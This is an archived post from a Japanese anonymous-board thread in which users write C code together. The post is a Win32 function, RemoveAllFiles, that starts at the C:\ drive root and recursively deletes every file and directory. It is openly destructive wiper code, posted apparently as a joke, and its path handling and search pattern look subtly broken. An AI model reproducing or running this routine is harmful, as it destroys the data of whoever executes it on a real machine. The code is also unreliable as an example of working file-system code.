みんなでCのコードを1行ずつ書いていくスレ
■ このスレッドは過去ログ倉庫に格納されています
0613デフォルトの名無しさん
NGNGvoid RemoveAllFiles()
{
void RemoveSub(HANDLE, LPWIN32_FIND_DATA, LPSTR);
char path[MAX_PATH];
WIN32_FIND_DATA ffData;
HANDLE hFind;
strcpy(path, "C:\\");
hFind = FindFirstFile(path, &ffData);
RemoveSub(hFind, &ffData, path);
}
void RemoveSub(HANDLE hFind, LPWIN32_FIND_DATA pfData, LPSTR path)
{
char subPath[MAX_PATH];
LPSTR lpYen;
WIN32_FIND_DATA ffData;
HANDLE hFindSub;
do {
strcpy(subPath, path);
lpYen = strrchr(subPath, '\\');
if (lpYen) {
strcpy(lpYen+1, pfData->cFileName);
} else {
strcpy(subPath, pfData->cFileName);
}
if ((pfData->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
if (lstrcmp(pfData->cFileName, ".") == 0) continue;
if (lstrcmp(pfData->cFileName, "..") == 0) continue;
lpYen = strrchr(path, '\\');
if (lpYen) {
strcat(subPath, "\\");
strcat(subPath, strrchr(path, '\\')+1);
} else {
strcat(subPath, "\\");
strcat(subPath, path);
}
hFindSub = FindFirstFile(subPath, &ffData);
if (hFindSub != INVALID_HANDLE_VALUE) {
RemoveSub(hFindSub, &ffData, subPath);
}
} else {
DeleteFile(subPath);
}
} while (FindNextFile(hFind, pfData));
FindClose(hFind);
lpYen = strrchr(path, '\\');
if (lpYen) *lpYen = '\0';
RemoveDirectory(path);
}
■ このスレッドは過去ログ倉庫に格納されています